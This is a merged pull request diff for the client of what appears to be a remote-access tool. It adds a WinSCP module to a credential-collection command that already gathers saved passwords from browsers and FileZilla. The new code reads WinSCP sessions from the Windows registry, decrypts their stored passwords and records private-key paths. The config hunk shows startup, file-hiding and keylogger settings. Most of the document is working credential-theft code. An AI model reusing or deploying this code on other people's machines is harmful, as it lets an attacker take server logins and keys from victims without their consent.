Merge pull request #336 from MaxXor/pr/335

Add WinSCP Password Recovery
This commit is contained in:
MaxXor 2015-08-18 18:24:47 +02:00
commit 3b9e09efc9
5 changed files with 135 additions and 5 deletions

View File

@ -86,6 +86,7 @@
<Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" />
<Compile Include="Core\Packets\ServerPackets\GetPasswords.cs" />
<Compile Include="Core\Recovery\FtpClients\FileZilla.cs" />
<Compile Include="Core\Recovery\FtpClients\WinSCP.cs" />
<Compile Include="Core\Utilities\FileSplit.cs" />
<Compile Include="Core\Data\Host.cs" />
<Compile Include="Core\Utilities\HostsManager.cs" />

View File

@ -21,7 +21,7 @@ namespace xClient.Config
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
public static string STARTUPKEY = "Test key";
public static bool HIDEFILE = false;
public static bool ENABLELOGGER = true;
public static bool ENABLELOGGER = false;
public static string TAG = "DEBUG";
public static void Initialize()

View File

@ -28,6 +28,7 @@ namespace xClient.Core.Commands
recovered.AddRange(InternetExplorer.GetSavedPasswords());
recovered.AddRange(Firefox.GetSavedPasswords());
recovered.AddRange(FileZilla.GetSavedPasswords());
recovered.AddRange(WinSCP.GetSavedPasswords());
List<string> raw = new List<string>();

View File

@ -23,9 +23,10 @@ namespace xClient.Core.Extensions
/// </summary>
/// <param name="key">The key of which we obtain the value of.</param>
/// <param name="keyName">The name of the key.</param>
/// <param name="defaultValue">The default value if value can not be determinated.</param>
/// <returns>Returns the value of the key using the specified key name. If unable to do so,
/// string.Empty will be returned instead.</returns>
private static string GetValueSafe(this RegistryKey key, string keyName)
/// defaultValue will be returned instead.</returns>
public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
{
// Before calling this, use something such as "IsNameOrValueNull" to make sure
// that the input used for this method is usable. The responsibility for this
@ -33,11 +34,11 @@ namespace xClient.Core.Extensions
// allowing exceptions if any are generated.
try
{
return key.GetValue(keyName).ToString();
return key.GetValue(keyName, defaultValue).ToString();
}
catch
{
return string.Empty;
return defaultValue;
}
}

View File

@ -0,0 +1,127 @@
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Linq;
using xClient.Core.Data;
using xClient.Core.Extensions;
namespace xClient.Core.Recovery.FtpClients
{
public class WinSCP
{
public static List<RecoveredAccount> GetSavedPasswords()
{
List<RecoveredAccount> data = new List<RecoveredAccount>();
try
{
string RegKey = @"SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions";
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(RegKey))
{
foreach (String subkeyName in key.GetSubKeyNames())
{
using (RegistryKey accountKey = key.OpenReadonlySubKeySafe(subkeyName))
{
if (accountKey == null) continue;
string host = accountKey.GetValueSafe("HostName");
if (string.IsNullOrEmpty(host)) continue;
string user = accountKey.GetValueSafe("UserName");
string password = WinSCPDecrypt(user, accountKey.GetValueSafe("Password"), host);
string privateKeyFile = accountKey.GetValueSafe("PublicKeyFile");
host += ":" + accountKey.GetValueSafe("PortNumber", "22");
if (string.IsNullOrEmpty(password) && !string.IsNullOrEmpty(privateKeyFile))
password = string.Format("[PRIVATE KEY LOCATION: \"{0}\"]", Uri.UnescapeDataString(privateKeyFile));
data.Add(new RecoveredAccount
{
URL = host,
Username = user,
Password = password,
Application = "WinSCP"
});
}
}
}
return data;
}
catch
{
return data;
}
}
static int dec_next_char(List<string> list)
{
int a = int.Parse(list[0]);
int b = int.Parse(list[1]);
int f = (255 ^ (((a << 4) + b) ^ 0xA3) & 0xff);
return f;
}
static string WinSCPDecrypt(string user, string pass, string host)
{
try
{
if (user == string.Empty || pass == string.Empty || host == string.Empty)
{
return "";
}
string qq = pass;
List<string> hashList = qq.Select(keyf => keyf.ToString()).ToList();
List<string> newHashList = new List<string>();
for (int i = 0; i < hashList.Count; i++)
{
if (hashList[i] == "A")
newHashList.Add("10");
if (hashList[i] == "B")
newHashList.Add("11");
if (hashList[i] == "C")
newHashList.Add("12");
if (hashList[i] == "D")
newHashList.Add("13");
if (hashList[i] == "E")
newHashList.Add("14");
if (hashList[i] == "F")
newHashList.Add("15");
if ("ABCDEF".IndexOf(hashList[i]) == -1)
newHashList.Add(hashList[i]);
}
List<string> newHashList2 = newHashList;
int length = 0;
if (dec_next_char(newHashList2) == 255)
length = dec_next_char(newHashList2);
newHashList2.Remove(newHashList2[0]);
newHashList2.Remove(newHashList2[0]);
newHashList2.Remove(newHashList2[0]);
newHashList2.Remove(newHashList2[0]);
length = dec_next_char(newHashList2);
List<string> newHashList3 = newHashList2;
newHashList3.Remove(newHashList3[0]);
newHashList3.Remove(newHashList3[0]);
int todel = dec_next_char(newHashList2) * 2;
for (int i = 0; i < todel; i++)
{
newHashList2.Remove(newHashList2[0]);
}
string password = "";
for (int i = -1; i < length; i++)
{
string data = ((char)dec_next_char(newHashList2)).ToString();
newHashList2.Remove(newHashList2[0]);
newHashList2.Remove(newHashList2[0]);
password = password + data;
}
string splitdata = user + host;
int sp = password.IndexOf(splitdata, StringComparison.Ordinal);
password = password.Remove(0, sp);
password = password.Replace(splitdata, "");
return password;
}
catch
{
return "";
}
}
}
}